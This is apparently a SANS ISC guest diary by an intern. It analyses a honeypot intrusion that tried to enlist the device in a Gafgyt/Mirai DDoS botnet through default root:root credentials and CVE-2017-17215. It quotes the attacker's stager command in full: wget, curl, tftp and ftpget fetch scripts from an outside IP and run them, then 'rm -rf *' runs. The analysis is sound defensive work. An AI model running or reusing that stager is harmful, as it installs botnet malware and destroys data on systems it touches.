[This is a Guest Diary by Austin Long, an ISC intern as part of the SANS.edu BACS program]

Introduction

As a requirement for completing the Applied Cybersecurity Bachelors program, I attended an internship program with the Internet Storm Center. I was tasked to create a Honeypot on a Pi and report seven different attack observations. This post is going to explore one of those attack observations.

Summary

As a quick summary, I dive into uncovering a malicious file. From that file, I was able to uncover more suspicious files by connecting to a malicious FTP server. The threat actor attempts to add my honeypot into a botnet so the threat actor can carry out DDoS attacks. The vulnerabilities used for the attack were default credentials and CVE-2017-17215. To prevent these attacks, make sure systems are patched and using strong credentials. More information on how to protect your systems can be found at the end.

Finding an Indicator of Compromise

To do analysis of an attack, I had to find one that had been uploaded to my honeypot. One of the first places I go to start my analysis is to the Downloaded files directory of the honeypot.  This directory contains files uploaded by threat actors who successfully connected to the honeypot either by SSH or Telnet. I looked for any interesting files and I found a bash script with a SHA256 hash of 9c52068bbbec5cf2dddd0cd25eaf8dc09f10c43b3a6ecd0a8f02aa90e0f1f437. Looking at the file, the script ran multiple commands.

The uploaded file would attempt to change directories, hoping to land in an ‘executable’ directory. Once in a directory, the file would reach out to a webserver at the IP address of 185.254.37.243 and download multiple files named skid. Each skid file looked as if it were created for different system architecture. Once the malware was downloaded, the malware was flagged as executable and ran with an ‘SSH’ positional argument. When I uploaded the hash of the script to Virus Total, 23/54 vendors flagged the file as malicious, and referred to ‘Medusa’ which is related to ransomware. I thought that would be really cool to dig deeper into, since I have not analyzed a ransomware attack yet.

The Attack

I noticed the file was uploaded on September 02 and started with that information. I moved into the SSH logs generated from Cowrie, the SSH honeypot service, and analyzed the log represented in JSON format. I found the SSH session ID and filtered the data to only look at that session. The jq command I ran was:
* To download jq, visit: https://jqlang.github.io/jq/download/

 jq '. | select(.session=="cbbb3572f898")' cowrie.json.2023-09-02

The threat actor gained access by credential stuffing default credentials. The threat actor attempted five login and was successful with using the credential root:root. Once on the honeypot, the following command was executed:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.254.37.243/z.sh; curl -O http://185.254.37.243/z.sh; chmod 777 z.sh; sh z.sh; tftp 185.254.37.243 -c get tz.sh; chmod 777 tz.sh; sh tz.sh; tftp -r tz2.sh -g 185.254.37.243; chmod 777 tz2.sh; sh tz2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.254.37.243 z1.sh z1.sh; sh z1.sh; rm -rf z.sh tz.sh tz2.sh z1.sh; rm -rf *

The command replicates what was seen above from the downloaded file, but it acts as the stager to download the initial file. The command attempted to retrieve multiple files:

•    z.sh
•    z1.sh
•    tz.sh
•    tz2.sh

Actors will commonly use one or two letter names for malware, which defenders can easily write rules to detect this. I learned about that TTP from the FOR508 course, Advanced Incident Response, Threat Hunting, and Digital Forensics. I looked through the Downloads directory on the honeypot but could not find any instances of the files tz.sh or tz2.sh. However, I did find the z1.sh file. 

The file z1.sh attempted to do pretty much the same thing as z.sh, but using an FTP service instead. To find more information about the files and threat actor, I connected to the FTP server referenced in the script. This is the list of files available for download:

The server was hosting lots of suspicious files. Most of the suspicious files seemed to be targeting common architecture for IoT devices and routers. I downloaded the files tz.sh and skid.x86 to continue the analysis.

The tz.sh file replicated the same thing that z.sh did. The skid.x86 file was what was really interesting. To see what type of file it was, I ran the command: file skid.x86

Since it was an executable, I decided to run strings to see if I could retrieve any string values that are human readable. A lot of the output was random data, besides one section.

This section of string seemed like an HTTP header using command injection within the XML data. The realm="HuaweiHomeGateway" confirmed that the malware was targeting home routers. 

When I uploaded the file into Virus Total, I got back interesting findings. 32 vendors flagged the file as malicious, with multiple vendors referring to the Gafgyt and Mirai Botnet.

The Threat Actors

What is the Gafgyt botnet? Well according to an article from Threat Post [1], Gafgyt is a botnet discovered in 2014 which targets IoT devices like Huawei routers. The botnet primary goal is to conduct DDoS attacks. Another name for the botnet is called BASHLITE [2]. From the article, the botnet would use an exploit called CVE-2017-17215. Researching the CVE, I found a PoC uploaded on ExploitDB located here: https://www.exploit-db.com/exploits/43414. Comparing the PoC with the IP Header within the malware, it looked very similar! [3]

Resolution and Lessons Learned

The key take away from this attack observation is to make sure you do not have a home router exposed to the public internet, change all default passwords to strong and complex password, and make sure the routers and IoT devices are updated! The CVE attempted was from 2017, but since it is still being used there could be routers still out there that are exploitable by this vulnerability. This diary highlights why it is important to regularly review and update home systems. If SSH and systems must be exposed to the public internet, steps can be taken  to harden them with firewalls, fail2ban, and only allowing the use of SSH keys. [4][5][6]

[1] https://threatpost.com/gafgyt-botnet-ddos-mirai/165424/
[2] https://en.wikipedia.org/wiki/BASHLITE
[3] https://www.exploit-db.com/exploits/43414
[4] https://www.cisecurity.org/cis-benchmarks
[5] https://attack.mitre.org/techniques/T1021/004/
[6] https://github.com/fail2ban/fail2ban
[7] https://jqlang.github.io/jq/download/
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu